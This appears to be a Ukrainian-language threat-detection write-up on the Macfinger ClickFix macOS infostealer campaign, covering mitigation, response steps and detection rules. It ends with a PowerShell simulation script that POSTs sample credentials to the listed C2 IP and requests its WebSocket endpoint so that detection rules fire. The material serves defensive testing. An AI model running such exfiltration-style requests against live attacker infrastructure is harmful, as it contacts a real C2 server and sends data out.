Кампанія Macfinger ClickFix: Аналіз шкідливого ПЗ
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Кампанія Macfinger ClickFix доставляє невідомий інформаційний крадій для macOS через сторінки з фальшивими CAPTCHA перевірками. Атака використовує shell-скрипти для отримання архітектурно-специфічних Mach-O бінарних файлів для систем Intel або Apple Silicon. Після запуску зловмисне ПЗ запитує широкі системні дозволи та викрадає конфіденційну інформацію через HTTP POST запити та WebSocket-комунікацію.
Розслідування
Розслідування було зосереджено на зараженні, виявленому на хості macOS 27.0. Аналітики відстежили початкове завантаження shell-скрипту, подальше отримання Mach-O бінарних файлів і схеми команд і контролю зловмисного ПЗ. Дослідження також відокремило загрозу від раніше документованого AMOS Stealer на основі розбіжностей у персистенції, збору даних і поведінці викрадання.
Пом’якшення
Користувачам слід уникати взаємодії з підозрілими CAPTCHA запитами в браузері або виконання неочікуваних команд термінала, наданих веб-сайтами. Організаціям потрібно стежити за несанкціонованими змінами в LaunchAgents та підозрілими завантаженнями, записаними в /Library/Caches каталог. Обмеження адміністративних привілеїв також може зменшити здатність зловмисного ПЗ отримувати необхідні системні дозволи для виконання.
Реакція
Коли виявляється активність, пов’язана з Macfinger, слід ізолювати уражену кінцеву точку macOS від мережі, щоб запобігти подальшому викраденню даних. Проведіть судово-медичний аналіз /Library/LaunchAgents/ and /Library/Caches/ каталогів для виявлення артефактів персистенції. Перегляньте журнали системи для несанкціонованих запитів на дозволи та доступу до конфіденційних розташувань, таких як Documents, Desktop і Downloads.
Напрямок атаки
Виявлення
Підозріла команда і контроль через DNS-запит з незвичним доменом верхнього рівня (TLD) (via dns)
Можливі маніпуляції з рядками, закодованими у Base64 [MacOS] (через cmdline)
Спроба підозрілого виконання Curl [MacOS] (через cmdline)
IOC (HashSha256) для виявлення: Докладний погляд на шкідливе ПЗ з кампанії Macfinger ClickFix
IOC (SourceIP) для виявлення: Докладний погляд на шкідливе ПЗ з кампанії Macfinger ClickFix
IOC (DestinationIP) для виявлення: Докладний погляд на шкідливе ПЗ з кампанії Macfinger ClickFix
Виявлення трафіку Macfinger ClickFix C2 та ексфільтрація даних [HTTP Traffic]
Виявлення зараження кампанією Macfinger ClickFix [Створення процесу в macOS]
Виконання симуляції
-
Опис атаки & Команди: Зловмиснику вдалося отримати початковий доступ і він намагається викрасти зібрані облікові дані. Щоб уникнути виявлення стандартними веб-фільтрами, вони використовують агент на базі Go. Агент налаштований на відправку POST-запиту з обліковими даними користувача до C2-кінечної точки
/api/credentials. Після цього він встановлює підключення WebSocket до/api/tдля отримання подальших інструкцій. Симуляція використовуватиме PowerShell для підробки цих специфічних характеристик HTTP (IP, User-Agent та URI) для активації правила виявлення. -
Скрипт регресійного тесту:
# Симуляція трафіку Macfinger C2 $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Розпочинаємо симуляцію Macfinger..." -ForegroundColor Cyan # 1. Симуляція ексфільтрації даних через HTTP POST Write-Host "[+] Спроба ексфільтрації даних (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] Запит не вдався (очікуване, якщо IP недосяжний): $($_.Exception.Message)" -ForegroundColor Gray } # 2. Симуляція команди і контролю через WebSocket (моделюється через HTTP GET до специфічного URI) # Примітка: Справжні WebSocket рукостискання вимагають специфічних бібліотек, але для телеметрії мереж # першочерговим тригером є початковий GET-запит до URI. Write-Host "[+] Спроба рукостискання WebSocket (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] Запит не вдався (очікуване, якщо IP недосяжний): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] Симуляцію завершено." -ForegroundColor Cyan -
Команди прибирання:
# Цей скрипт симуляції не створює стійких артефактів. # Переконайтесь, що жодні активні з'єднання з цільовим IP не лишаються. Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false